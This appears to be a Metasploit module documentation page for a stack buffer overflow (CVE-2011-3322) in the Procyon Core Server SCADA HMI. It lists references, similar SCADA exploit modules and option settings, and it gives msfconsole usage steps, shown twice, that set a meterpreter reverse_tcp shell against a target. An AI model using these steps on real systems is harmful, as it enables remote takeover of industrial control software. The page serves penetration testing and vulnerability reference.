Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow
This module exploits a vulnerability in the coreservice.exe component of Proycon Core Server <= v1.13. While processing a password, the application fails to do proper bounds checking before copying data into a small buffer on the stack. This causes a buffer overflow and allows to overwrite a structured exception handling record on the stack, allowing for unauthenticated remote code execution. Also, after the payload exits, Coreservice.exe should automatically recover.
Exploit Rank
- Normal
Exploit Authors
- Knud Hojgaard < keh [at] nsense.dk >
- mr_me < steventhomasseeley [at] gmail.com >
Vulnerability References
- CVE-2011-3322
- OSVDB-75371
- http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf
- http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-St...
Exploit Targets
- 0 - Windows XP SP3 - No dep bypass (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/scada/citect_scada_odbc
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/daq_factory_bof
- exploit/windows/scada/factorylink_csservice
- exploit/windows/scada/factorylink_vrn_09
- exploit/windows/scada/iconics_genbroker
- exploit/windows/scada/iconics_webhmi_setactivexguid
- exploit/windows/scada/igss9_igssdataserver_listall
- exploit/windows/scada/igss9_igssdataserver_rename
- exploit/windows/scada/igss9_misc
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/procyon_core_server
msf exploit(procyon_core_server) > show payloads
msf exploit(procyon_core_server) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(procyon_core_server) > set LHOST [MY IP ADDRESS]
msf exploit(procyon_core_server) > set RHOST [TARGET IP]
msf exploit(procyon_core_server) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/procyon_core_server
msf exploit(procyon_core_server) > show payloads
msf exploit(procyon_core_server) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(procyon_core_server) > set LHOST [MY IP ADDRESS]
msf exploit(procyon_core_server) > set RHOST [TARGET IP]
msf exploit(procyon_core_server) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 23) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
